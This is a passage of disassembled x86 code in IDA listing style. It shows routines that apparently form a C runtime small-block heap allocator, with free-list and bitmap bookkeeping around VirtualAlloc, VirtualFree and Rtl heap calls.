mov [ebp+var_4], ecx
mov edx, [ebp+var_4]
imul edx, 204h
mov eax, [ebp+var_3C]
lea ecx, [eax+edx+144h]
mov [ebp+var_8], ecx
mov edx, [ebp+arg_4]
sub edx, 4
mov [ebp+var_1C], edx
mov eax, [ebp+var_1C]
mov ecx, [eax]
sub ecx, 1
mov [ebp+var_30], ecx
mov edx, [ebp+var_30]
and edx, 1
test edx, edx
jz short loc_41CC0D
jmp loc_41D188
; ---------------------------------------------------------------------------
loc_41CC0D: ; CODE XREF: sub_41CBB0+56j
mov eax, [ebp+var_1C]
add eax, [ebp+var_30]
mov [ebp+var_38], eax
mov ecx, [ebp+var_38]
mov edx, [ecx]
mov [ebp+var_14], edx
mov eax, [ebp+var_1C]
mov ecx, [eax-4]
mov [ebp+var_C], ecx
mov edx, [ebp+var_14]
and edx, 1
test edx, edx
jnz loc_41CD57
mov eax, [ebp+var_14]
sar eax, 4
sub eax, 1
mov [ebp+var_24], eax
cmp [ebp+var_24], 3Fh
jbe short loc_41CC4E
mov [ebp+var_24], 3Fh
loc_41CC4E: ; CODE XREF: sub_41CBB0+95j
mov ecx, [ebp+var_38]
mov edx, [ebp+var_38]
mov eax, [ecx+4]
cmp eax, [edx+8]
jnz loc_41CD30
cmp [ebp+var_24], 20h
jnb short loc_41CCC5
mov edx, 80000000h
mov ecx, [ebp+var_24]
shr edx, cl
not edx
mov eax, [ebp+var_4]
mov ecx, [ebp+var_3C]
mov eax, [ecx+eax*4+44h]
and eax, edx
mov ecx, [ebp+var_4]
mov edx, [ebp+var_3C]
mov [edx+ecx*4+44h], eax
mov eax, [ebp+var_3C]
add eax, [ebp+var_24]
mov cl, [eax+4]
sub cl, 1
mov edx, [ebp+var_3C]
add edx, [ebp+var_24]
mov [edx+4], cl
mov eax, [ebp+var_3C]
add eax, [ebp+var_24]
movsx ecx, byte ptr [eax+4]
test ecx, ecx
jnz short loc_41CCC3
mov edx, 80000000h
mov ecx, [ebp+var_24]
shr edx, cl
not edx
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, edx
mov edx, [ebp+arg_0]
mov [edx], ecx
loc_41CCC3: ; CODE XREF: sub_41CBB0+F9j
jmp short loc_41CD30
; ---------------------------------------------------------------------------
loc_41CCC5: ; CODE XREF: sub_41CBB0+B4j
mov ecx, [ebp+var_24]
sub ecx, 20h
mov eax, 80000000h
shr eax, cl
not eax
mov ecx, [ebp+var_4]
mov edx, [ebp+var_3C]
mov ecx, [edx+ecx*4+0C4h]
and ecx, eax
mov edx, [ebp+var_4]
mov eax, [ebp+var_3C]
mov [eax+edx*4+0C4h], ecx
mov ecx, [ebp+var_3C]
add ecx, [ebp+var_24]
mov dl, [ecx+4]
sub dl, 1
mov eax, [ebp+var_3C]
add eax, [ebp+var_24]
mov [eax+4], dl
mov ecx, [ebp+var_3C]
add ecx, [ebp+var_24]
movsx edx, byte ptr [ecx+4]
test edx, edx
jnz short loc_41CD30
mov ecx, [ebp+var_24]
sub ecx, 20h
mov eax, 80000000h
shr eax, cl
not eax
mov ecx, [ebp+arg_0]
mov edx, [ecx+4]
and edx, eax
mov eax, [ebp+arg_0]
mov [eax+4], edx
loc_41CD30: ; CODE XREF: sub_41CBB0+AAj
; sub_41CBB0:loc_41CCC3j ...
mov ecx, [ebp+var_38]
mov edx, [ecx+8]
mov eax, [ebp+var_38]
mov ecx, [eax+4]
mov [edx+4], ecx
mov edx, [ebp+var_38]
mov eax, [edx+4]
mov ecx, [ebp+var_38]
mov edx, [ecx+8]
mov [eax+8], edx
mov eax, [ebp+var_30]
add eax, [ebp+var_14]
mov [ebp+var_30], eax
loc_41CD57: ; CODE XREF: sub_41CBB0+7Fj
mov ecx, [ebp+var_30]
sar ecx, 4
sub ecx, 1
mov [ebp+var_28], ecx
cmp [ebp+var_28], 3Fh
jbe short loc_41CD70
mov [ebp+var_28], 3Fh
loc_41CD70: ; CODE XREF: sub_41CBB0+1B7j
mov edx, [ebp+var_C]
and edx, 1
test edx, edx
jnz loc_41CED4
mov eax, [ebp+var_1C]
sub eax, [ebp+var_C]
mov [ebp+var_34], eax
mov ecx, [ebp+var_C]
sar ecx, 4
sub ecx, 1
mov [ebp+var_2C], ecx
cmp [ebp+var_2C], 3Fh
jbe short loc_41CDA0
mov [ebp+var_2C], 3Fh
loc_41CDA0: ; CODE XREF: sub_41CBB0+1E7j
mov edx, [ebp+var_30]
add edx, [ebp+var_C]
mov [ebp+var_30], edx
mov eax, [ebp+var_30]
sar eax, 4
sub eax, 1
mov [ebp+var_28], eax
cmp [ebp+var_28], 3Fh
jbe short loc_41CDC2
mov [ebp+var_28], 3Fh
loc_41CDC2: ; CODE XREF: sub_41CBB0+209j
mov ecx, [ebp+var_2C]
cmp ecx, [ebp+var_28]
jz loc_41CECE
mov edx, [ebp+var_34]
mov eax, [ebp+var_34]
mov ecx, [edx+4]
cmp ecx, [eax+8]
jnz loc_41CEB0
cmp [ebp+var_2C], 20h
jnb short loc_41CE45
mov edx, 80000000h
mov ecx, [ebp+var_2C]
shr edx, cl
not edx
mov eax, [ebp+var_4]
mov ecx, [ebp+var_3C]
mov eax, [ecx+eax*4+44h]
and eax, edx
mov ecx, [ebp+var_4]
mov edx, [ebp+var_3C]
mov [edx+ecx*4+44h], eax
mov eax, [ebp+var_3C]
add eax, [ebp+var_2C]
mov cl, [eax+4]
sub cl, 1
mov edx, [ebp+var_3C]
add edx, [ebp+var_2C]
mov [edx+4], cl
mov eax, [ebp+var_3C]
add eax, [ebp+var_2C]
movsx ecx, byte ptr [eax+4]
test ecx, ecx
jnz short loc_41CE43
mov edx, 80000000h
mov ecx, [ebp+var_2C]
shr edx, cl
not edx
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, edx
mov edx, [ebp+arg_0]
mov [edx], ecx
loc_41CE43: ; CODE XREF: sub_41CBB0+279j
jmp short loc_41CEB0
; ---------------------------------------------------------------------------
loc_41CE45: ; CODE XREF: sub_41CBB0+234j
mov ecx, [ebp+var_2C]
sub ecx, 20h
mov eax, 80000000h
shr eax, cl
not eax
mov ecx, [ebp+var_4]
mov edx, [ebp+var_3C]
mov ecx, [edx+ecx*4+0C4h]
and ecx, eax
mov edx, [ebp+var_4]
mov eax, [ebp+var_3C]
mov [eax+edx*4+0C4h], ecx
mov ecx, [ebp+var_3C]
add ecx, [ebp+var_2C]
mov dl, [ecx+4]
sub dl, 1
mov eax, [ebp+var_3C]
add eax, [ebp+var_2C]
mov [eax+4], dl
mov ecx, [ebp+var_3C]
add ecx, [ebp+var_2C]
movsx edx, byte ptr [ecx+4]
test edx, edx
jnz short loc_41CEB0
mov ecx, [ebp+var_2C]
sub ecx, 20h
mov eax, 80000000h
shr eax, cl
not eax
mov ecx, [ebp+arg_0]
mov edx, [ecx+4]
and edx, eax
mov eax, [ebp+arg_0]
mov [eax+4], edx
loc_41CEB0: ; CODE XREF: sub_41CBB0+22Aj
; sub_41CBB0:loc_41CE43j ...
mov ecx, [ebp+var_34]
mov edx, [ecx+8]
mov eax, [ebp+var_34]
mov ecx, [eax+4]
mov [edx+4], ecx
mov edx, [ebp+var_34]
mov eax, [edx+4]
mov ecx, [ebp+var_34]
mov edx, [ecx+8]
mov [eax+8], edx
loc_41CECE: ; CODE XREF: sub_41CBB0+218j
mov eax, [ebp+var_34]
mov [ebp+var_1C], eax
loc_41CED4: ; CODE XREF: sub_41CBB0+1C8j
mov ecx, [ebp+var_C]
and ecx, 1
test ecx, ecx
jnz short loc_41CEEA
mov edx, [ebp+var_2C]
cmp edx, [ebp+var_28]
jz loc_41CFFA
loc_41CEEA: ; CODE XREF: sub_41CBB0+32Cj
mov eax, [ebp+var_28]
mov ecx, [ebp+var_8]
lea edx, [ecx+eax*8]
mov [ebp+var_20], edx
mov eax, [ebp+var_1C]
mov ecx, [ebp+var_20]
mov edx, [ecx+4]
mov [eax+4], edx
mov eax, [ebp+var_1C]
mov ecx, [ebp+var_20]
mov [eax+8], ecx
mov edx, [ebp+var_20]
mov eax, [ebp+var_1C]
mov [edx+4], eax
mov ecx, [ebp+var_1C]
mov edx, [ecx+4]
mov eax, [ebp+var_1C]
mov [edx+8], eax
mov ecx, [ebp+var_1C]
mov edx, [ebp+var_1C]
mov eax, [ecx+4]
cmp eax, [edx+8]
jnz loc_41CFFA
cmp [ebp+var_28], 20h
jnb short loc_41CF93
mov ecx, [ebp+var_3C]
add ecx, [ebp+var_28]
movsx edx, byte ptr [ecx+4]
mov eax, [ebp+var_3C]
add eax, [ebp+var_28]
mov cl, [eax+4]
add cl, 1
mov eax, [ebp+var_3C]
add eax, [ebp+var_28]
mov [eax+4], cl
test edx, edx
jnz short loc_41CF71
mov edx, 80000000h
mov ecx, [ebp+var_28]
shr edx, cl
mov eax, [ebp+arg_0]
mov ecx, [eax]
or ecx, edx
mov edx, [ebp+arg_0]
mov [edx], ecx
loc_41CF71: ; CODE XREF: sub_41CBB0+3A9j
mov eax, 80000000h
mov ecx, [ebp+var_28]
shr eax, cl
mov ecx, [ebp+var_4]
mov edx, [ebp+var_3C]
mov ecx, [edx+ecx*4+44h]
or ecx, eax
mov edx, [ebp+var_4]
mov eax, [ebp+var_3C]
mov [eax+edx*4+44h], ecx
jmp short loc_41CFFA
; ---------------------------------------------------------------------------
loc_41CF93: ; CODE XREF: sub_41CBB0+386j
mov ecx, [ebp+var_3C]
add ecx, [ebp+var_28]
movsx edx, byte ptr [ecx+4]
mov eax, [ebp+var_3C]
add eax, [ebp+var_28]
mov cl, [eax+4]
add cl, 1
mov eax, [ebp+var_3C]
add eax, [ebp+var_28]
mov [eax+4], cl
test edx, edx
jnz short loc_41CFD1
mov ecx, [ebp+var_28]
sub ecx, 20h
mov edx, 80000000h
shr edx, cl
mov eax, [ebp+arg_0]
mov ecx, [eax+4]
or ecx, edx
mov edx, [ebp+arg_0]
mov [edx+4], ecx
loc_41CFD1: ; CODE XREF: sub_41CBB0+404j
mov ecx, [ebp+var_28]
sub ecx, 20h
mov eax, 80000000h
shr eax, cl
mov ecx, [ebp+var_4]
mov edx, [ebp+var_3C]
mov ecx, [edx+ecx*4+0C4h]
or ecx, eax
mov edx, [ebp+var_4]
mov eax, [ebp+var_3C]
mov [eax+edx*4+0C4h], ecx
loc_41CFFA: ; CODE XREF: sub_41CBB0+334j
; sub_41CBB0+37Cj ...
mov ecx, [ebp+var_1C]
mov edx, [ebp+var_30]
mov [ecx], edx
mov eax, [ebp+var_1C]
add eax, [ebp+var_30]
mov ecx, [ebp+var_30]
mov [eax-4], ecx
mov edx, [ebp+var_8]
mov eax, [edx]
sub eax, 1
mov ecx, [ebp+var_8]
mov [ecx], eax
mov edx, [ebp+var_8]
cmp dword ptr [edx], 0
jnz loc_41D188
cmp dword_4DE660, 0
jz loc_41D177
mov eax, dword_4DE654
shl eax, 0Fh
mov ecx, dword_4DE660
mov edx, [ecx+0Ch]
add edx, eax
mov [ebp+var_18], edx
push 4000h
push 8000h
mov eax, [ebp+var_18]
push eax
call dword_4E0484 ; VirtualFree
mov edx, 80000000h
mov ecx, dword_4DE654
shr edx, cl
mov eax, dword_4DE660
mov ecx, [eax+8]
or ecx, edx
mov edx, dword_4DE660
mov [edx+8], ecx
mov eax, dword_4DE660
mov ecx, [eax+10h]
mov edx, dword_4DE654
mov dword ptr [ecx+edx*4+0C4h], 0
mov eax, dword_4DE660
mov ecx, [eax+10h]
mov dl, [ecx+43h]
sub dl, 1
mov eax, dword_4DE660
mov ecx, [eax+10h]
mov [ecx+43h], dl
mov edx, dword_4DE660
mov eax, [edx+10h]
movsx ecx, byte ptr [eax+43h]
test ecx, ecx
jnz short loc_41D0D5
mov edx, dword_4DE660
mov eax, [edx+4]
and al, 0FEh
mov ecx, dword_4DE660
mov [ecx+4], eax
loc_41D0D5: ; CODE XREF: sub_41CBB0+50Fj
mov edx, dword_4DE660
cmp dword ptr [edx+8], 0FFFFFFFFh
jnz loc_41D177
push 8000h
push 0
mov eax, dword_4DE660
mov ecx, [eax+0Ch]
push ecx
call dword_4E0484 ; VirtualFree
mov edx, dword_4DE660
mov eax, [edx+10h]
push eax
push 0
mov ecx, dword_4DE648
push ecx
call dword_4E0480 ; RtlFreeHeap
mov edx, dword_4DE664
imul edx, 14h
mov eax, dword_4DE668
add eax, edx
mov ecx, dword_4DE660
add ecx, 14h
sub eax, ecx
push eax
mov edx, dword_4DE660
add edx, 14h
push edx
mov eax, dword_4DE660
push eax
call sub_419A90
add esp, 0Ch
mov ecx, dword_4DE664
sub ecx, 1
mov dword_4DE664, ecx
mov edx, [ebp+arg_0]
cmp edx, dword_4DE660
jbe short loc_41D16B
mov eax, [ebp+arg_0]
sub eax, 14h
mov [ebp+arg_0], eax
loc_41D16B: ; CODE XREF: sub_41CBB0+5B0j
mov ecx, dword_4DE668
mov dword_4DE658, ecx
loc_41D177: ; CODE XREF: sub_41CBB0+47Ej
; sub_41CBB0+52Fj
mov edx, [ebp+arg_0]
mov dword_4DE660, edx
mov eax, [ebp+var_4]
mov dword_4DE654, eax
loc_41D188: ; CODE XREF: sub_41CBB0+58j
; sub_41CBB0+471j
mov esp, ebp
pop ebp
retn
sub_41CBB0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D190 proc near ; CODE XREF: sub_41BEC0+4Cp
; sub_41C230+D4p
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 38h
push esi
mov eax, dword_4DE664
imul eax, 14h
mov ecx, dword_4DE668
add ecx, eax
mov [ebp+var_2C], ecx
mov edx, [ebp+arg_0]
add edx, 17h
and edx, 0FFFFFFF0h
mov [ebp+var_28], edx
mov eax, [ebp+var_28]
sar eax, 4
sub eax, 1
mov [ebp+var_20], eax
cmp [ebp+var_20], 20h
jge short loc_41D1DC
or edx, 0FFFFFFFFh
mov ecx, [ebp+var_20]
shr edx, cl
mov [ebp+var_24], edx
mov [ebp+var_34], 0FFFFFFFFh
jmp short loc_41D1F1
; ---------------------------------------------------------------------------
loc_41D1DC: ; CODE XREF: sub_41D190+36j
mov [ebp+var_24], 0
mov ecx, [ebp+var_20]
sub ecx, 20h
or eax, 0FFFFFFFFh
shr eax, cl
mov [ebp+var_34], eax
loc_41D1F1: ; CODE XREF: sub_41D190+4Aj
mov ecx, dword_4DE658
mov [ebp+var_18], ecx
loc_41D1FA: ; CODE XREF: sub_41D190+94j
mov edx, [ebp+var_18]
cmp edx, [ebp+var_2C]
jnb short loc_41D226
mov eax, [ebp+var_18]
mov ecx, [ebp+var_24]
and ecx, [eax]
mov edx, [ebp+var_18]
mov eax, [ebp+var_34]
and eax, [edx+4]
or ecx, eax
test ecx, ecx
jz short loc_41D21B
jmp short loc_41D226
; ---------------------------------------------------------------------------
loc_41D21B: ; CODE XREF: sub_41D190+87j
mov ecx, [ebp+var_18]
add ecx, 14h
mov [ebp+var_18], ecx
jmp short loc_41D1FA
; ---------------------------------------------------------------------------
loc_41D226: ; CODE XREF: sub_41D190+70j
; sub_41D190+89j
mov edx, [ebp+var_18]
cmp edx, [ebp+var_2C]
jnz loc_41D30D
mov eax, dword_4DE668
mov [ebp+var_18], eax
loc_41D23A: ; CODE XREF: sub_41D190+D7j
mov ecx, [ebp+var_18]
cmp ecx, dword_4DE658
jnb short loc_41D269
mov edx, [ebp+var_18]
mov eax, [ebp+var_24]
and eax, [edx]
mov ecx, [ebp+var_18]
mov edx, [ebp+var_34]
and edx, [ecx+4]
or eax, edx
test eax, eax
jz short loc_41D25E
jmp short loc_41D269
; ---------------------------------------------------------------------------
loc_41D25E: ; CODE XREF: sub_41D190+CAj
mov eax, [ebp+var_18]
add eax, 14h
mov [ebp+var_18], eax
jmp short loc_41D23A
; ---------------------------------------------------------------------------
loc_41D269: ; CODE XREF: sub_41D190+B3j
; sub_41D190+CCj
mov ecx, [ebp+var_18]
cmp ecx, dword_4DE658
jnz loc_41D30D
loc_41D278: ; CODE XREF: sub_41D190+104j
mov edx, [ebp+var_18]
cmp edx, [ebp+var_2C]
jnb short loc_41D296
mov eax, [ebp+var_18]
cmp dword ptr [eax+8], 0
jz short loc_41D28B
jmp short loc_41D296
; ---------------------------------------------------------------------------
loc_41D28B: ; CODE XREF: sub_41D190+F7j
mov ecx, [ebp+var_18]
add ecx, 14h
mov [ebp+var_18], ecx
jmp short loc_41D278
; ---------------------------------------------------------------------------
loc_41D296: ; CODE XREF: sub_41D190+EEj
; sub_41D190+F9j
mov edx, [ebp+var_18]
cmp edx, [ebp+var_2C]
jnz short loc_41D2E7
mov eax, dword_4DE668
mov [ebp+var_18], eax
loc_41D2A6: ; CODE XREF: sub_41D190+135j
mov ecx, [ebp+var_18]
cmp ecx, dword_4DE658
jnb short loc_41D2C7
mov edx, [ebp+var_18]
cmp dword ptr [edx+8], 0
jz short loc_41D2BC
jmp short loc_41D2C7
; ---------------------------------------------------------------------------
loc_41D2BC: ; CODE XREF: sub_41D190+128j
mov eax, [ebp+var_18]
add eax, 14h
mov [ebp+var_18], eax
jmp short loc_41D2A6
; ---------------------------------------------------------------------------
loc_41D2C7: ; CODE XREF: sub_41D190+11Fj
; sub_41D190+12Aj
mov ecx, [ebp+var_18]
cmp ecx, dword_4DE658
jnz short loc_41D2E7
call sub_41D6D0
mov [ebp+var_18], eax
cmp [ebp+var_18], 0
jnz short loc_41D2E7
xor eax, eax
jmp loc_41D6C1
; ---------------------------------------------------------------------------
loc_41D2E7: ; CODE XREF: sub_41D190+10Cj
; sub_41D190+140j ...
mov edx, [ebp+var_18]
push edx
call sub_41D7E0
add esp, 4
mov ecx, [ebp+var_18]
mov edx, [ecx+10h]
mov [edx], eax
mov eax, [ebp+var_18]
mov ecx, [eax+10h]
cmp dword ptr [ecx], 0FFFFFFFFh
jnz short loc_41D30D
xor eax, eax
jmp loc_41D6C1
; ---------------------------------------------------------------------------
loc_41D30D: ; CODE XREF: sub_41D190+9Cj
; sub_41D190+E2j ...
mov edx, [ebp+var_18]
mov dword_4DE658, edx
mov eax, [ebp+var_18]
mov ecx, [eax+10h]
mov [ebp+var_38], ecx
mov edx, [ebp+var_38]
mov eax, [edx]
mov [ebp+var_30], eax
cmp [ebp+var_30], 0FFFFFFFFh
jz short loc_41D350
mov ecx, [ebp+var_30]
mov edx, [ebp+var_38]
mov eax, [ebp+var_24]
and eax, [edx+ecx*4+44h]
mov ecx, [ebp+var_30]
mov edx, [ebp+var_38]
mov esi, [ebp+var_34]
and esi, [edx+ecx*4+0C4h]
or eax, esi
test eax, eax
jnz short loc_41D385
loc_41D350: ; CODE XREF: sub_41D190+19Bj
mov [ebp+var_30], 0
loc_41D357: ; CODE XREF: sub_41D190+1F3j
mov eax, [ebp+var_30]
mov ecx, [ebp+var_38]
mov edx, [ebp+var_24]
and edx, [ecx+eax*4+44h]
mov eax, [ebp+var_30]
mov ecx, [ebp+var_38]
mov esi, [ebp+var_34]
and esi, [ecx+eax*4+0C4h]
or edx, esi
test edx, edx
jnz short loc_41D385
mov edx, [ebp+var_30]
add edx, 1
mov [ebp+var_30], edx
jmp short loc_41D357
; ---------------------------------------------------------------------------
loc_41D385: ; CODE XREF: sub_41D190+1BEj
; sub_41D190+1E8j
mov eax, [ebp+var_30]
imul eax, 204h
mov ecx, [ebp+var_38]
lea edx, [ecx+eax+144h]
mov [ebp+var_4], edx
mov [ebp+var_20], 0
mov eax, [ebp+var_30]
mov ecx, [ebp+var_38]
mov edx, [ebp+var_24]
and edx, [ecx+eax*4+44h]
mov [ebp+var_1C], edx
cmp [ebp+var_1C], 0
jnz short loc_41D3D2
mov [ebp+var_20], 20h
mov eax, [ebp+var_30]
mov ecx, [ebp+var_38]
mov edx, [ebp+var_34]
and edx, [ecx+eax*4+0C4h]
mov [ebp+var_1C], edx
loc_41D3D2: ; CODE XREF: sub_41D190+226j
; sub_41D190+259j
cmp [ebp+var_1C], 0
jl short loc_41D3EB
mov eax, [ebp+var_1C]
shl eax, 1
mov [ebp+var_1C], eax
mov ecx, [ebp+var_20]
add ecx, 1
mov [ebp+var_20], ecx
jmp short loc_41D3D2
; ---------------------------------------------------------------------------
loc_41D3EB: ; CODE XREF: sub_41D190+246j
mov edx, [ebp+var_20]
mov eax, [ebp+var_4]
mov ecx, [eax+edx*8+4]
mov [ebp+var_10], ecx
mov edx, [ebp+var_10]
mov eax, [edx]
sub eax, [ebp+var_28]
mov [ebp+var_8], eax
mov ecx, [ebp+var_8]
sar ecx, 4
sub ecx, 1
mov [ebp+var_14], ecx
cmp [ebp+var_14], 3Fh
jle short loc_41D41C
mov [ebp+var_14], 3Fh
loc_41D41C: ; CODE XREF: sub_41D190+283j
mov edx, [ebp+var_14]
cmp edx, [ebp+var_20]
jz loc_41D640
mov eax, [ebp+var_10]
mov ecx, [ebp+var_10]
mov edx, [eax+4]
cmp edx, [ecx+8]
jnz loc_41D50A
cmp [ebp+var_20], 20h
jge short loc_41D49F
mov eax, 80000000h
mov ecx, [ebp+var_20]
shr eax, cl
not eax
mov ecx, [ebp+var_30]
mov edx, [ebp+var_38]
mov ecx, [edx+ecx*4+44h]
and ecx, eax
mov edx, [ebp+var_30]
mov eax, [ebp+var_38]
mov [eax+edx*4+44h], ecx
mov ecx, [ebp+var_38]
add ecx, [ebp+var_20]
mov dl, [ecx+4]
sub dl, 1
mov eax, [ebp+var_38]
add eax, [ebp+var_20]
mov [eax+4], dl
mov ecx, [ebp+var_38]
add ecx, [ebp+var_20]
movsx edx, byte ptr [ecx+4]
test edx, edx
jnz short loc_41D49D
mov eax, 80000000h
mov ecx, [ebp+var_20]
shr eax, cl
not eax
mov ecx, [ebp+var_18]
mov edx, [ecx]
and edx, eax
mov eax, [ebp+var_18]
mov [eax], edx
loc_41D49D: ; CODE XREF: sub_41D190+2F3j
jmp short loc_41D50A
; ---------------------------------------------------------------------------
loc_41D49F: ; CODE XREF: sub_41D190+2AEj
mov ecx, [ebp+var_20]
sub ecx, 20h
mov edx, 80000000h
shr edx, cl
not edx
mov eax, [ebp+var_30]
mov ecx, [ebp+var_38]
mov eax, [ecx+eax*4+0C4h]
and eax, edx
mov ecx, [ebp+var_30]
mov edx, [ebp+var_38]
mov [edx+ecx*4+0C4h], eax
mov eax, [ebp+var_38]
add eax, [ebp+var_20]
mov cl, [eax+4]
sub cl, 1
mov edx, [ebp+var_38]
add edx, [ebp+var_20]
mov [edx+4], cl
mov eax, [ebp+var_38]
add eax, [ebp+var_20]
movsx ecx, byte ptr [eax+4]
test ecx, ecx
jnz short loc_41D50A
mov ecx, [ebp+var_20]
sub ecx, 20h
mov edx, 80000000h
shr edx, cl
not edx
mov eax, [ebp+var_18]
mov ecx, [eax+4]
and ecx, edx
mov edx, [ebp+var_18]
mov [edx+4], ecx
loc_41D50A: ; CODE XREF: sub_41D190+2A4j
; sub_41D190:loc_41D49Dj ...
mov eax, [ebp+var_10]
mov ecx, [eax+8]
mov edx, [ebp+var_10]
mov eax, [edx+4]
mov [ecx+4], eax
mov ecx, [ebp+var_10]
mov edx, [ecx+4]
mov eax, [ebp+var_10]
mov ecx, [eax+8]
mov [edx+8], ecx
cmp [ebp+var_8], 0
jz loc_41D640
mov edx, [ebp+var_14]
mov eax, [ebp+var_4]
lea ecx, [eax+edx*8]
mov [ebp+var_C], ecx
mov edx, [ebp+var_10]
mov eax, [ebp+var_C]
mov ecx, [eax+4]
mov [edx+4], ecx
mov edx, [ebp+var_10]
mov eax, [ebp+var_C]
mov [edx+8], eax
mov ecx, [ebp+var_C]
mov edx, [ebp+var_10]
mov [ecx+4], edx
mov eax, [ebp+var_10]
mov ecx, [eax+4]
mov edx, [ebp+var_10]
mov [ecx+8], edx
mov eax, [ebp+var_10]
mov ecx, [ebp+var_10]
mov edx, [eax+4]
cmp edx, [ecx+8]
jnz loc_41D640
cmp [ebp+var_14], 20h
jge short loc_41D5DA
mov eax, [ebp+var_38]
add eax, [ebp+var_14]
movsx ecx, byte ptr [eax+4]
mov edx, [ebp+var_38]
add edx, [ebp+var_14]
mov al, [edx+4]
add al, 1
mov edx, [ebp+var_38]
add edx, [ebp+var_14]
mov [edx+4], al
test ecx, ecx
jnz short loc_41D5B8
mov eax, 80000000h
mov ecx, [ebp+var_14]
shr eax, cl
mov ecx, [ebp+var_18]
mov edx, [ecx]
or edx, eax
mov eax, [ebp+var_18]
mov [eax], edx
loc_41D5B8: ; CODE XREF: sub_41D190+410j
mov edx, 80000000h
mov ecx, [ebp+var_14]
shr edx, cl
mov eax, [ebp+var_30]
mov ecx, [ebp+var_38]
mov eax, [ecx+eax*4+44h]
or eax, edx
mov ecx, [ebp+var_30]
mov edx, [ebp+var_38]
mov [edx+ecx*4+44h], eax
jmp short loc_41D640
; ---------------------------------------------------------------------------
loc_41D5DA: ; CODE XREF: sub_41D190+3EEj
mov eax, [ebp+var_38]
add eax, [ebp+var_14]
movsx ecx, byte ptr [eax+4]
mov edx, [ebp+var_38]
add edx, [ebp+var_14]
mov al, [edx+4]
add al, 1
mov edx, [ebp+var_38]
add edx, [ebp+var_14]
mov [edx+4], al
test ecx, ecx
jnz short loc_41D617
mov ecx, [ebp+var_14]
sub ecx, 20h
mov eax, 80000000h
shr eax, cl
mov ecx, [ebp+var_18]
mov edx, [ecx+4]
or edx, eax
mov eax, [ebp+var_18]
mov [eax+4], edx
loc_41D617: ; CODE XREF: sub_41D190+46Aj
mov ecx, [ebp+var_14]
sub ecx, 20h
mov edx, 80000000h
shr edx, cl
mov eax, [ebp+var_30]
mov ecx, [ebp+var_38]
mov eax, [ecx+eax*4+0C4h]
or eax, edx
mov ecx, [ebp+var_30]
mov edx, [ebp+var_38]
mov [edx+ecx*4+0C4h], eax
loc_41D640: ; CODE XREF: sub_41D190+292j
; sub_41D190+39Cj ...
cmp [ebp+var_8], 0
jz short loc_41D65A
mov eax, [ebp+var_10]
mov ecx, [ebp+var_8]
mov [eax], ecx
mov edx, [ebp+var_10]
add edx, [ebp+var_8]
mov eax, [ebp+var_8]
mov [edx-4], eax
loc_41D65A: ; CODE XREF: sub_41D190+4B4j
mov ecx, [ebp+var_10]
add ecx, [ebp+var_8]
mov [ebp+var_10], ecx
mov edx, [ebp+var_28]
add edx, 1
mov eax, [ebp+var_10]
mov [eax], edx
mov ecx, [ebp+var_28]
add ecx, 1
mov edx, [ebp+var_10]
add edx, [ebp+var_28]
mov [edx-4], ecx
mov eax, [ebp+var_4]
mov ecx, [eax]
mov edx, [ebp+var_4]
mov eax, [edx]
add eax, 1
mov edx, [ebp+var_4]
mov [edx], eax
test ecx, ecx
jnz short loc_41D6B3
mov eax, [ebp+var_18]
cmp eax, dword_4DE660
jnz short loc_41D6B3
mov ecx, [ebp+var_30]
cmp ecx, dword_4DE654
jnz short loc_41D6B3
mov dword_4DE660, 0
loc_41D6B3: ; CODE XREF: sub_41D190+501j
; sub_41D190+50Cj ...
mov edx, [ebp+var_38]
mov eax, [ebp+var_30]
mov [edx], eax
mov eax, [ebp+var_10]
add eax, 4
loc_41D6C1: ; CODE XREF: sub_41D190+152j
; sub_41D190+178j
pop esi
mov esp, ebp
pop ebp
retn
sub_41D190 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D6D0 proc near ; CODE XREF: sub_41D190+142p
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
mov eax, dword_4DE664
cmp eax, dword_4DE650
jnz short loc_41D72B
mov ecx, dword_4DE650
add ecx, 10h
imul ecx, 14h
push ecx
mov edx, dword_4DE668
push edx
push 0
mov eax, dword_4DE648
push eax
call dword_4E047C ; RtlReAllocateHeap
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_41D713
xor eax, eax
jmp loc_41D7DB
; ---------------------------------------------------------------------------
loc_41D713: ; CODE XREF: sub_41D6D0+3Aj
mov ecx, [ebp+var_4]
mov dword_4DE668, ecx
mov edx, dword_4DE650
add edx, 10h
mov dword_4DE650, edx
loc_41D72B: ; CODE XREF: sub_41D6D0+Fj
mov eax, dword_4DE664
imul eax, 14h
mov ecx, dword_4DE668
add ecx, eax
mov [ebp+var_4], ecx
push 41C4h
push 8
mov edx, dword_4DE648
push edx
call dword_4E0478 ; RtlAllocateHeap
mov ecx, [ebp+var_4]
mov [ecx+10h], eax
mov edx, [ebp+var_4]
cmp dword ptr [edx+10h], 0
jnz short loc_41D765
xor eax, eax
jmp short loc_41D7DB
; ---------------------------------------------------------------------------
loc_41D765: ; CODE XREF: sub_41D6D0+8Fj
push 4
push 2000h
push 100000h
push 0
call dword_4E0488 ; VirtualAlloc
mov ecx, [ebp+var_4]
mov [ecx+0Ch], eax
mov edx, [ebp+var_4]
cmp dword ptr [edx+0Ch], 0
jnz short loc_41D7A2
mov eax, [ebp+var_4]
mov ecx, [eax+10h]
push ecx
push 0
mov edx, dword_4DE648
push edx
call dword_4E0480 ; RtlFreeHeap
xor eax, eax
jmp short loc_41D7DB
; ---------------------------------------------------------------------------
loc_41D7A2: ; CODE XREF: sub_41D6D0+B6j
mov eax, [ebp+var_4]
mov dword ptr [eax], 0
mov ecx, [ebp+var_4]
mov dword ptr [ecx+4], 0
mov edx, [ebp+var_4]
mov dword ptr [edx+8], 0FFFFFFFFh
mov eax, dword_4DE664
add eax, 1
mov dword_4DE664, eax
mov ecx, [ebp+var_4]
mov edx, [ecx+10h]
